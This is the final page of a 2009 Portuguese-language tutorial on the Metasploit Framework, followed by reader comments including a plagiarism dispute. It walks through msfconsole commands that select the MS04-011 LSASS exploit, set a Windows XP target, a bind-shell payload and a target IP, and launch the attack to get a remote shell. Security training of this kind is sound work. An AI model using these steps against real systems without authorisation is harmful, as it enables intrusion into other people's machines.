Metasploit Framework

O Metasploit framework é um conjunto das melhores plataformas de aprendizagem e investigação para o profissional de segurança ou do hacker ético. Ele possui centenas de exploits, payloads e ferramentas muito avançadas que nos permite testar vulnerabilidades em muitas plataformas, sistemas operacionais e servidores.

[ Hits: 144.625 ]

Por: Luiz Vieira em 14/04/2009 | Blog: http://hackproofing.blogspot.com/


Primeiros passos na utilização do Metasploit



Abaixo vemos o console do MSF (Metasploit Framework) aberto, que tanto pode ser executado a partir da interface web no Windows, clicando em Console. Ou então, no Linux, basta digitar "./msfconsole" no console do Linux.
Linux: Metasploit Framework
Depois de alguns segundos (dependendo da velocidade de seu computador), a tela de MSFConsole aparecerá conforme a imagem. Leve alguns momentos para explorar a tela de console digitando "help" no prompt msf>.
Linux: Metasploit Framework
Para ver os vários exploits existentes e ter uma leve noção de sua aplicabilidade, digite "show exploits" no prompt msf>. Veja a figura abaixo:
Linux: Metasploit Framework
Para informação sobre um comando em particular, você pode usar o comando de info. Você sempre poderá ter certeza do comando se for útil antes de você executá-lo. Olhemos para informação disponível para o comando lsass_ms04_011. Digite "info windows/smb/ms04_011_lsass".

Veja abaixo o que aparecerá na tela para você:

>> info windows/smb/ms04_011_lsass

Name: Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow
Version: 4511

Platform: Windows
Privileged: Yes

License: Metasploit Framework License

Provided by:
hdm <hdm@metasploit.com>

Available targets:
Id Name

-- ----
0 Automatic Targetting

1 Windows 2000 English
2 Windows XP English

Basic options:
Name Current Setting Required Description

-------- ------------------- ------------ ---------------
RHOST yes The target address

RPORT 445 yes Set the SMB service port

Payload information:
Space: 1024

Avoid: 7 characters

Description:
This module exploits a stack overflow in the LSASS service, this

vulnerability was originally found by eEye. When re-exploiting a
Windows XP system, you will need need to run this module twice.

DCERPC request fragmentation can be performed by setting 'FragSize'
parameter.

References:
http://www.securityfocus.com/bid/10108

http://cve.mitre.org/cgi-bin/cvename.cgi?name=2003-0533
http://www.osvdb.org/5248

http://www.microsoft.com/technet/security/bulletin/MS04-011.mspx
http://milw0rm.com/metasploit/36
Linux: Metasploit Framework
Essas informações exibidas sobre o exploit são muito importantes para sabermos como ele funciona e qual a utilidade dele. É pesquisando dessa forma que definiremos qual o melhor exploit para utilizarmos contra um determinado alvo.

Para utilizar esse exploit, por exemplo, digite "use Windows/smb/ms04_011_lsass" no prompt msf>. O prompt msf> automaticamente muda para "msf exploit(ms04_011_lsass)>" mostrando que o exploit foi selecionado e está pronto para uso.

Agora vamos ver que tipo de alvo pode ser afetado por esse exploit. Basta digitar "show targets" no prompt msf>. Será exibida a seguinte tela:
Linux: Metasploit Framework
Agora precisamos saber o que podemos fazer com esse exploit, já que o exploit é a exploração da falha em si. Portanto, precisamos de um programa (ou módulo) que utilize a falha da maneira que precisamos (execute um comando, rode um shell e etc), esse programa ou módulo é um payload.

Para sabermos qual payload está disponível para esse exploit, digite no prompt msf> o comando "show payloads", e então a tela a seguir será exibida com uma lista de todos os payloads compatíveis com esse exploit.
Linux: Metasploit Framework
Para definirmos o tipo de alvo que atacaremos explorando suas falhas, digite "set TARGET #" substituindo o # pelo número de identificação do tipo de alvo que atacaremos como mostrado numa tela anterior (nesse caso só temos as opções 0 = automático, 1 = Windows 2000 e 2 = Windows XP).

Para sabermos o tipo de S.O. de nosso alvo, deveremos ter pesquisado isso na fase de fingerprinting, onde colhemos informações sobre nossos hosts alvos.

Vamos, como exemplo, atacar um host que tenha como seu S.O. o Windows XP e queremos rodar um Shell a partir dele para termos acesso à máquina. Vou digitar "set target 2" no prompt msf> para informar que meu alvo é uma máquina rodando o Windows XP.

E, logo após isso, vou digitar "set PAYLOAD generic/shell_bind_tcp" para definir o payload que utilizarei, e me retornará um shell de comando quando rodar o exploit contra o alvo.
Linux: Metasploit Framework
Nesse ponto, se digitarmos "?" no prompt msf>, além da explicação dos comandos básico, surgem outros comandos que precisaremos utilizar. Veja abaixo:
Linux: Metasploit Framework
Como exibido com o comando "info" usado anteriormente, temos duas opções básicas desse exploit que precisamos configurar para que ele possa ser utilizado. São elas:

Name Current Setting Required Description
-------- ------------------- ------------ ---------------

RHOST yes The target address
RPORT 445 yes Set the SMB service port

Vemos que o valor de RPORT está como 445, que será a porta através da qual será lançado o exploit, mas podemos mudar esse valor se quisermos. Digamos que através de um scan anterior descobri algumas vulnerabilidades na porta 150, então é essa mesma que vou utilizar, digitando o seguinte comando no prompt msf> "set RPORT 150". Vejamos na tela abaixo como ficou após a execução desse comando:
Linux: Metasploit Framework
O valor da opção RPORT foi alterado para 150, que será a porta utilizada para o ataque.

Agora vamos à outra opção. A opção RHOST definirá o endereço que será atacado via exploit, e precisamos configurá-lo adequadamente, atribuindo o endereço IP do alvo. Digamos que quero atacar o IP 192.168.0.1, preciso digitar o comando "set RHOST 192.168.0.1" no prompt msf>.

Vejamos abaixo como ficou a configuração de ambas opções:
Linux: Metasploit Framework
Agora precisamos completar o exploit, executando-o contra o alvo. Para tanto, temos duas alternativas:

1. utilizar o comando "check" em primeiro lugar para ver se nosso alvo é vulnerável a esse exploit e depois usar o comando "exploit" para executá-lo; ou

2. utilizar diretamente o comando "exploit" para executar o ataque, posto que alguns módulos não aceitam a execução do comando "check".

No caso desse exploit, o comando "check" não é suportado; então teremos que usar o comando "exploit", sem a possibilidade de testar anteriormente se o alvo é suscetível ao ataque.

Se o ataque falhar contra o alvo, um aviso como se segue será exibido. Se não, sendo o alvo vulnerável a esse ataque, você será apresentado a uma interface de linha de comando interativa da máquina designada, ou seja, você cairá no prompt de comando. Não desanime se não conseguir de primeira! Isto só significa que a máquina que está testando não é vulnerável ao ataque!
Linux: Metasploit Framework

Análise final

Sinta-se à vontade para testar com outros exploits e outros payloads, afinal esta é a essência da invasão com o Metasploit: testar até descobrir qual a vulnerabilidade certa e usar uma combinação de exploit e payload que funcione.

Procure manter-se sempre atualizado com as novas versões do Metasploit, pois os pacotes de exploits, payloads e módulos sempre são atualizados e vem com novas opções.

Referências

1. Microsoft Security Bulletin

2. Stack, Pointers and Memory, Lally Singh

3. A Memory Allocator, Doug Lea

4. Buffer overflows likely to be around for another decade, Edward Hurley

5. Buffer Overflows Demystified, Murat

6. Badc0ded - How to exploit program vulnerabilities

7. Once upon a free(), Phrack 57 Article 9, by Anonymous

8. Presentation on Advanced Exploit Development at HITB, HD Moore (PDF)

9. Designing Shellcode Demystified, Murat

10. Crash Course User Guide for Metasploit Framework, (PDF)

11. Metasploit Framework, Part 1, by Pukhraj Singh, K.K. Mookhey

12. Metasploit Framework, Part 2, by Pukhraj Singh, K.K. Mookhey

13. Metasploit Framework, Part 3, by Pukhraj Singh, K.K. Mookhey

14. Open e-book MSF-BR

Página anterior    

Páginas do artigo
   1. Introdução
   2. O que é Metasploit Framework
   3. Para começar: Instalando Metasploit Framework
   4. Desenvolvimento do MSF
   5. Instalando e configurando o Metasploit Framework
   6. Primeiros passos na utilização do Metasploit
Outros artigos deste autor

Shellter Project - Ferramenta para bypass de AV

Resenha do livro: Praticando a Segurança da Informação

Vulnerabilidade em mais de 6 milhões de sites com flash

Virtualização: VMware ou VirtualBox no Ubuntu 9.04 com kernel 2.6.29-11?

Race Condition

Leitura recomendada

MaraDNS: Simples - Seguro - Robusto (parte 3)

Introdução ao Conceito de Hardening

Snort + ACID + MySQL no Slackware

Varredura bruta com NMAP

SSH - Uma breve abordagem

  
Comentários
[1] Comentário enviado por psychokill3r em 14/04/2009 - 20:15h

Obrigado é simplesmente essencial.

Muito bom mesmo vai já para os favoritos.

Dica Nubuntu "8.12 Instigating Insecurity" ja vem com Metasploit instalado e tem outros varios testes interessantes alem de rodar do live cd e a possibilidade de instalar no pen-drive.

[2] Comentário enviado por valtinho em 15/04/2009 - 10:45h

Luiz Vieira,
Valeu pelo artigo cara... muito interessante
Sempre tive curiosidade sobre o assunto mas não achava nenhum material na internet. Se tiver mais alguma coisa sobre o assunto, por favor, não deixe de postar.

So pra complementar, o link de download esta quebrado. Acredito que seja este:

http://www.metasploit.com/framework/download/

Abraço

[3] Comentário enviado por thiagomlx em 15/04/2009 - 11:19h

Artigo muito bem feito, parabéns.

Acredito que seja ótimo pra quem está começando no assunto e tem curiosidade de saber como funciona o Metasploit.

Abraço

[4] Comentário enviado por bruc3 em 16/04/2009 - 07:50h

Luiz Vieira, muito bom o tutorial, eu também já estava há algum tempo a procura deLe, mas nunca tinha achado nada sobre o assunto, obrigado. Uso a distro slackware 12.1 , é a mesma coisa, ou precisa fazer algo diferente? Concordo com o nosso amigo aí de cima, se tiver aLgo mais, não deixa de postar. õ/ abraço!

[5] Comentário enviado por y2h4ck em 16/04/2009 - 09:39h

O metasploit framework realmente é uma ferramenta indispensavel para qualquer administrador que deseja fazer um teste mais aprofundado na rede. Mto bom o artigo. Tenho um artigo sobre o Metasploit em Produção no VOL desde 2007 +_+. Voce me economizou um bom tempo publicando o seu rs rs rs :D

[]s

[6] Comentário enviado por vivkloip em 28/05/2009 - 16:27h

EU GALERA, EU TRADUZI UM LIVRO INTEIRINHO DO METASPLOIT...
QUEM QUISER, BASTA ENTRAR NO MEU BLOG..
NAO ESQUEÇA DE AGRADEÇER COM COMENTARIOS.
http://juancarloscunha.wordpress.com/2009/05/06/livro-do-metasploit/
ATÉ+

[7] Comentário enviado por luizvieira em 28/05/2009 - 17:17h

Muito bom vc, heim vivkloip?!
Isso é anúncio? rsrsrs
Vc escreveu, ou apenas TRADUZIU?
Bons estudos de inglês para vc, brother ;-)
[ ]'s

[8] Comentário enviado por d3lf0 em 27/12/2009 - 23:29h

vlw pelas dicas Luiz Vieira.

[9] Comentário enviado por topassi em 15/04/2010 - 10:40h

Parabéns cara..

Esse é simplesmente o melhor artigo que já li no VOL.. ficou muito bom.
Estou no meio de um trabalho da disciplina de segurança do meu mestrado, e precisava de mais detalhes sobre o metaexploit.. li bastante coisa em inglês e realmente não esperava encontrar algo tão bem escrito em português..

Espero que quando eu escrever algo para por aqui, fique com a mesma qualidade.

E parabéns ao VOL pela quantidade de materiais de qualidade.

[10] Comentário enviado por removido em 25/03/2011 - 20:48h

parabens cara, estou comecando agora, a mexer no backtrack e esse artigo sobre o metasploit é muito bom mesmo parabens :)

[11] Comentário enviado por albertomoravia em 03/04/2011 - 15:56h

Cara, perdoa a sinceridade, mas que absurdo!!! Sugasse tudo do "Open e-book MSF-BR", que, apesar do site original estar fora do ar, ainda pode ser visto em http://replay.waybackmachine.org/20080119142225/http://www.metasploit-br.org/capitulo1.htm e http://replay.waybackmachine.org/20080207220819/http://www.metasploit-br.org/capitulo2.htm . Só desse ctrl-c, ctrl-v. Troféu óleo de peroba!!

[12] Comentário enviado por luizvieira em 04/04/2011 - 06:39h

Alberto, o artigo foi escrito por mim antes da traduzição do André Amorin. E tive autorização direta do HD Moore, com quem contribuo diretamente e através da lista do MSF.

O que o André fez foi traduzir um material escrito pelo HD Moore, como eu. A diferença é que ambos traduzimos a parte da explicação técnica das características do MSF, só que eu fui mais além, produzindo mais materia próprio para auxiliar a prática de quem ainda não conhece a ferramenta.

A meu ver, o que há de errado aí? EU ter traduzido uma parte do material, com autorização do autor, para não chover no molhado, já que eu não acrescentaria nada às características da ferramenta escrita pelo próprio HD Moore? Ao menos a maior parte do material ainda assim foi produzida por mim...

E vc, qual sua contribuição com a área? Prq não gasta seu tempo publicando artigos de qualidade ao invés de tentar emitir julgamentos precipitados sobre os outros sem conhecê-los?

Para bom entendedor, meia palavra basta...

[13] Comentário enviado por albertomoravia em 04/04/2011 - 07:16h

Caro Luiz, o que causa estranheza é que a tradução é literalmente igual. Eu não emiti julgamentos, apenas apresentei fatos. O julgamento parece que quem está fazendo é você, com essa agressividade. Não precisa se defender dessa forma, porque não existe acusação/julgamento. Se você está sentindo dessa forma, certamente sabe o que vem fazendo com seus "artigos". Finalizando, eu diria que para o bom plagiador tudo pode ser apropriado.


[15] Comentário enviado por codebr em 21/02/2012 - 15:11h

Boa tarde,

Obrigado Luiz, suas informações são sempre validas p/ meus estudos. Vejo que você estuda bastante e isso me estimula a querer aprender mais.

um abraço.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts